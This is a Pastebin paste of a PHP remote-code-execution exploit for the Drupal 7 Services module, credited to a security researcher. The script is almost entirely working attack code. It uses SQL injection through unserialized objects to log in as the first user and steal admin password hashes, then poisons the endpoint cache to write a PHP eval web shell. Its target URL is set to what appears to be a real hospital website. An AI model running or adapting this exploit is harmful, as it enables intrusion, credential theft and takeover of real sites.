Advertisement
Guest User

Untitled

a guest
Apr 25th, 2018
113
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 8.45 KB | None | 0 0
  1. c Exploit Title: Drupal 7.x Services Module Remote Code Execution
  2. # Vendor Homepage: https://www.drupal.org/project/services
  3. # Exploit Author: Charles FOL
  4. # Contact: https://twitter.com/ambionics
  5. # Website: https://www.ambionics.io/blog/drupal-services-module-rce
  6.  
  7.  
  8. #!/usr/bin/php
  9. <?php
  10. # Drupal Services Module Remote Code Execution Exploit
  11. # https://www.ambionics.io/blog/drupal-services-module-rce
  12. # cf
  13. #
  14. # Three stages:
  15. # 1. Use the SQL Injection to get the contents of the cache for current
  16. # along with admin credentials and hash
  17. # 2. Alter the cache to allow us to write a file and do so
  18. # 3. Restore the cache
  19. #
  20.  
  21. # Initialization
  22.  
  23. error_reporting(E_ALL);
  24.  
  25. define('QID', 'anything');
  26. define('TYPE_PHP', 'application/vnd.php.serialized');
  27. define('TYPE_JSON', 'application/json');
  28. define('CONTROLLER', 'user');
  29. define('ACTION', 'login');
  30.  
  31. $url = 'http://www.chu-grenoble.fr';
  32. $endpoint_path = '/';
  33. $endpoint = '/user/login';
  34.  
  35. $file = [
  36. 'filename' => 'dixuSOspsOUU.php',
  37. 'data' => '<?php eval(file_get_contents(\'php://input\')); ?>'
  38. ];
  39.  
  40. $browser = new Browser($url . $endpoint_path);
  41.  
  42.  
  43. # Stage 1: SQL Injection
  44.  
  45. class DatabaseCondition
  46. {
  47. protected $conditions = [
  48. "#conjunction" => "AND"
  49. ];
  50. protected $arguments = [];
  51. protected $changed = false;
  52. protected $queryPlaceholderIdentifier = null;
  53. public $stringVersion = null;
  54.  
  55. public function __construct($stringVersion=null)
  56. {
  57. $this->stringVersion = $stringVersion;
  58.  
  59. if(!isset($stringVersion))
  60. {
  61. $this->changed = true;
  62. $this->stringVersion = null;
  63. }
  64. }
  65. }
  66.  
  67. class SelectQueryExtender {
  68. # Contains a DatabaseCondition object instead of a SelectQueryInterface
  69. # so that $query->compile() exists and (string) $query is controlled by
  70.  
  71. protected $query = null;
  72.  
  73. protected $uniqueIdentifier = QID;
  74. protected $connection;
  75. protected $placeholder = 0;
  76.  
  77. public function __construct($sql)
  78. {
  79. $this->query = new DatabaseCondition($sql);
  80. }
  81. }
  82.  
  83. $cache_id = "services:$endpoint:resources";
  84. $sql_cache = "SELECT data FROM {cache} WHERE cid='$cache_id'";
  85. $password_hash = '$S$D2NH.6IZNb1vbZEV1F0S9fqIz3A0Y1xueKznB8vWrMsnV/nrTpnd';
  86.  
  87. # Take first user but with a custom password
  88. # Store the original password hash in signature_format, and endpoint cache
  89. # in signature
  90. $query =
  91. "0x3a) UNION SELECT ux.uid AS uid, " .
  92. "ux.name AS name, '$password_hash' AS pass, " .
  93. "ux.mail AS mail, ux.theme AS theme, ($sql_cache) AS signature, " .
  94. "ux.pass AS signature_format, ux.created AS created, " .
  95. "ux.access AS access, ux.login AS login, ux.status AS status, " .
  96. "ux.timezone AS timezone, ux.language AS language, ux.picture " .
  97. "AS picture, ux.init AS init, ux.data AS data FROM {users} ux " .
  98. "WHERE ux.uid<>(0"
  99. ;
  100.  
  101. $query = new SelectQueryExtender($query);
  102. $data = ['username' => $query, 'password' => 'ouvreboite'];
  103. $data = serialize($data);
  104.  
  105. $json = $browser->post(TYPE_PHP, $data);
  106.  
  107. # If this worked, the rest will as well
  108. if(!isset($json->user))
  109. {
  110. print_r($json);
  111. e("Failed to login with fake password");
  112. }
  113.  
  114. # Store session and user data
  115.  
  116. $session = [
  117. 'session_name' => $json->session_name,
  118. 'session_id' => $json->sessid,
  119. 'token' => $json->token
  120. ];
  121. store('session', $session);
  122.  
  123. $user = $json->user;
  124.  
  125. # Unserialize the cached value
  126. # Note: Drupal websites admins, this is your opportunity to fight back :)
  127. $cache = unserialize($user->signature);
  128.  
  129. # Reassign fields
  130. $user->pass = $user->signature_format;
  131. unset($user->signature);
  132. unset($user->signature_format);
  133.  
  134. store('user', $user);
  135.  
  136. if($cache === false)
  137. {
  138. e("Unable to obtains endpoint's cache value");
  139. }
  140.  
  141. x("Cache contains " . sizeof($cache) . " entries");
  142.  
  143. # Stage 2: Change endpoint's behaviour to write a shell
  144.  
  145. class DrupalCacheArray
  146. {
  147. # Cache ID
  148. protected $cid = "services:endpoint_name:resources";
  149. # Name of the table to fetch data from.
  150. # Can also be used to SQL inject in DrupalDatabaseCache::getMultiple()
  151. protected $bin = 'cache';
  152. protected $keysToPersist = [];
  153. protected $storage = [];
  154.  
  155. function __construct($storage, $endpoint, $controller, $action) {
  156. $settings = [
  157. 'services' => ['resource_api_version' => '1.0']
  158. ];
  159. $this->cid = "services:$endpoint:resources";
  160.  
  161. # If no endpoint is given, just reset the original values
  162. if(isset($controller))
  163. {
  164. $storage[$controller]['actions'][$action] = [
  165. 'help' => 'Writes data to a file',
  166. # Callback function
  167. 'callback' => 'file_put_contents',
  168. # This one does not accept "true" as Drupal does,
  169. # so we just go for a tautology
  170. 'access callback' => 'is_string',
  171. 'access arguments' => ['a string'],
  172. # Arguments given through POST
  173. 'args' => [
  174. 0 => [
  175. 'name' => 'filename',
  176. 'type' => 'string',
  177. 'description' => 'Path to the file',
  178. 'source' => ['data' => 'filename'],
  179. 'optional' => false,
  180. ],
  181. 1 => [
  182. 'name' => 'data',
  183. 'type' => 'string',
  184. 'description' => 'The data to write',
  185. 'source' => ['data' => 'data'],
  186. 'optional' => false,
  187. ],
  188. ],
  189. 'file' => [
  190. 'type' => 'inc',
  191. 'module' => 'services',
  192. 'name' => 'resources/user_resource',
  193. ],
  194. 'endpoint' => $settings
  195. ];
  196. $storage[$controller]['endpoint']['actions'] += [
  197. $action => [
  198. 'enabled' => 1,
  199. 'settings' => $settings
  200. ]
  201. ];
  202. }
  203.  
  204. $this->storage = $storage;
  205. $this->keysToPersist = array_fill_keys(array_keys($storage), true);
  206. }
  207. }
  208.  
  209. class ThemeRegistry Extends DrupalCacheArray {
  210. protected $persistable;
  211. protected $completeRegistry;
  212. }
  213.  
  214. cache_poison($endpoint, $cache);
  215.  
  216. # Write the file
  217. $json = (array) $browser->post(TYPE_JSON, json_encode($file));
  218.  
  219.  
  220. # Stage 3: Restore endpoint's behaviour
  221.  
  222. cache_reset($endpoint, $cache);
  223.  
  224. if(!(isset($json[0]) && $json[0] === strlen($file['data'])))
  225. {
  226. e("Failed to write file.");
  227. }
  228.  
  229. $file_url = $url . '/' . $file['filename'];
  230. x("File written: $file_url");
  231.  
  232.  
  233. # HTTP Browser
  234.  
  235. class Browser
  236. {
  237. private $url;
  238. private $controller = CONTROLLER;
  239. private $action = ACTION;
  240.  
  241. function __construct($url)
  242. {
  243. $this->url = $url;
  244. }
  245.  
  246. function post($type, $data)
  247. {
  248. $headers = [
  249. "Accept: " . TYPE_JSON,
  250. "Content-Type: $type",
  251. "Content-Length: " . strlen($data)
  252. ];
  253. $url = $this->url . '/' . $this->controller . '/' . $this->action;
  254.  
  255. $s = curl_init();
  256. curl_setopt($s, CURLOPT_URL, $url);
  257. curl_setopt($s, CURLOPT_HTTPHEADER, $headers);
  258. curl_setopt($s, CURLOPT_POST, 1);
  259. curl_setopt($s, CURLOPT_POSTFIELDS, $data);
  260. curl_setopt($s, CURLOPT_RETURNTRANSFER, true);
  261. curl_setopt($s, CURLOPT_SSL_VERIFYHOST, 0);
  262. curl_setopt($s, CURLOPT_SSL_VERIFYPEER, 0);
  263. $output = curl_exec($s);
  264. $error = curl_error($s);
  265. curl_close($s);
  266.  
  267. if($error)
  268. {
  269. e("cURL: $error");
  270. }
  271.  
  272. return json_decode($output);
  273. }
  274. }
  275.  
  276. # Cache
  277.  
  278. function cache_poison($endpoint, $cache)
  279. {
  280. $tr = new ThemeRegistry($cache, $endpoint, CONTROLLER, ACTION);
  281. cache_edit($tr);
  282. }
  283.  
  284. function cache_reset($endpoint, $cache)
  285. {
  286. $tr = new ThemeRegistry($cache, $endpoint, null, null);
  287. cache_edit($tr);
  288. }
  289.  
  290. function cache_edit($tr)
  291. {
  292. global $browser;
  293. $data = serialize([$tr]);
  294. $json = $browser->post(TYPE_PHP, $data);
  295. }
  296.  
  297. # Utils
  298.  
  299. function x($message)
  300. {
  301. print("$message\n");
  302. }
  303.  
  304. function e($message)
  305. {
  306. x($message);
  307. exit(1);
  308. }
  309.  
  310. function store($name, $data)
  311. {
  312. $filename = "$name.json";
  313. file_put_contents($filename, json_encode($data, JSON_PRETTY_PRINT));
  314. x("Stored $name information in $filename");
  315. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement